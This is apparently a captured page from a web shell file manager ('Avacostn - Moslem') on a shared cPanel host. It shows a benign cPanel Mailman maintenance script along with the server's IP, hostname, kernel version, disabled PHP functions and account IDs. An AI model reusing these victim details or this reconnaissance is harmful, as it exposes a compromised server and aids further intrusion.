Avacostn - Moslem
Choose File
DIR :
Home
/
proc
/
3061873
/
..
/
406
/
..
/
3062019
/
..
/
..
/
run
/
..
/
scripts
/
puthuppa@68.178.173.116: ~ $
Edit File: fixmailman
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/fixmailman Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use Cpanel::Config::LoadCpConf (); use Cpanel::Mailman::Perms (); use Cpanel::Mailman::Filesys (); ############################################# # Gotta check to see if mailman is disabled # ############################################# my $cpconf = Cpanel::Config::LoadCpConf::loadcpconf(); if ( $cpconf->{'skipmailman'} ) { print "Mailman is disabled\n"; exit 0; } ################################################## # Fix permissions for archives and mailing lists # ################################################## my $mailman = Cpanel::Mailman::Perms->new(); print "Setting mailman archive permissions.\n"; $mailman->set_archive_perms(); print "Setting mailman lists permissions.\n"; my $MAILMAN_LIST_DIR = Cpanel::Mailman::Filesys::MAILING_LISTS_DIR(); if ( opendir( my $list_dir, $MAILMAN_LIST_DIR ) ) { while ( my $list = readdir($list_dir) ) { next if ( $list !~ m/_/ && $list !~ m/mailman/ ); $mailman->set_perms_for_one_list($list); } } else { print "Failed to open: " . $MAILMAN_LIST_DIR . " ($!)\n"; } ################################################################################################## # Checking for files in /usr/local/cpanel/3rdparty/mailman/qfiles/out and removing if they exist # ################################################################################################## print "Purging mailman queue.\n"; my $qdir = '/usr/local/cpanel/3rdparty/mailman/qfiles/out'; if ( opendir( my $dh, $qdir ) ) { while ( my $qfile = readdir($dh) ) { if ( $qfile !~ m/^\./ ) { unlink("$qdir/$qfile") or print "Failed to unlink file $qdir/$qfile: $!\n"; } } closedir $dh; } else { print "Unable to open directory $qdir: $!\n"; } exit(0);
Filemanager
Name
Size
Permission
Actions
None Directory
Close
Server Info
Hostname: 116.173.178.68.host.secureserver.net
IP Address: 68.178.173.116
PHP Version: 8.1.34
Server Software: Apache
HDD Total Space: 99.99 GB
HDD Free Space: 32.25 GB
Safe Mode: Disabled
Disable Functions: exec,passthru,shell_exec,system
Total Domains in Server: 1
System: Linux 116.173.178.68.host.secureserver.net 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User Info
Username: puthuppa
User ID: 1102
Group ID: 1104